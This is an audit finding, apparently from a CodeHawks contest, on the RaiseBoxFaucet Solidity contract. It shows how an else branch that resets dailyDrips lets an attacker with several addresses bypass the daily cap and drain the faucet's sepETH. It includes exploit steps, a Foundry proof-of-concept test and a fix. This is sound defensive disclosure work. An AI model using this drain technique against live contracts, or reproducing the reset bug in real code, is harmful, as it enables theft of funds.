Risk
High - Can be used to empty the contract balance as well as all the legitimate users may not receive the sepETH Drip.
Target
src/RaiseBoxFaucet.sol
Description
-
As per the normal behaviour of the contract the dailySepEthCap variable is used to set the max daily limit of the sepEth dripped to new users.
-
This is tracked using dailyDrips which is increamented for each drip and also reset on new day. There is an else statement which resets the dailyDrips variable when an already claimed user calls the claimFaucetTokens() function. This Else statement is not necessary.
function claimFaucetTokens() public {
faucetClaimer = msg.sender;
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
```dailyDrips = 0;```
}}
Impact
POC
-
user1(attacker) joins and claims the tokens as well as the SepETH drip which is set to 0.1 eth(for testing purpose).
-
After a few days user1(attacker) calls the claimFaucetTokens() function from different addresses which he owns.
-
After calling the function from five different addresses he will reach the daily limit for sepEth drip which is set to 0.5 ether and tracked by using the dailyDrips variable.
-
user1(Attacker) calls the function from his address again which in turn resets the dailyDrips value to zero.
-
He then repeats the same from different addresses until the contract is drained of its sepETH Balance.
-
He can keep track of the SepETH Balance of the contract and keep repeating the attack as soon as it gets refilled
function testClaimSepAfterLimitReached() public {
vm.prank(user1);
raiseBoxFaucet.claimFaucetTokens();
assertEq(
address(user1).balance,
0.1 ether,
"Ether balance of user1 should be 0.1 as first timer"
);
advanceBlockTime(block.timestamp + 3 days);
address[8] memory faucetUsers = [
user2,
user3,
user4,
user5,
user6,
user1,
user7,
user8
];
for (uint256 i = 0; i < faucetUsers.length; i++) {
vm.prank(faucetUsers[i]);
raiseBoxFaucet.claimFaucetTokens();
}
assertEq(
address(user7).balance,
0.1 ether
);
assertEq(raiseBoxFaucet.dailyDrips(),0.2 ether);
}
}
Permalink:
https://github.com/CodeHawks-Contests/2025-10-raisebox-faucet/blob/daf8826cece87801a9d18745cf77e11e39838f5b/src/RaiseBoxFaucet.sol#L212-L212
Mitigation
function claimFaucetTokens() public {
faucetClaimer = msg.sender;
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
// dailyClaimCount = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
}
- else {
- dailyDrips = 0;
}}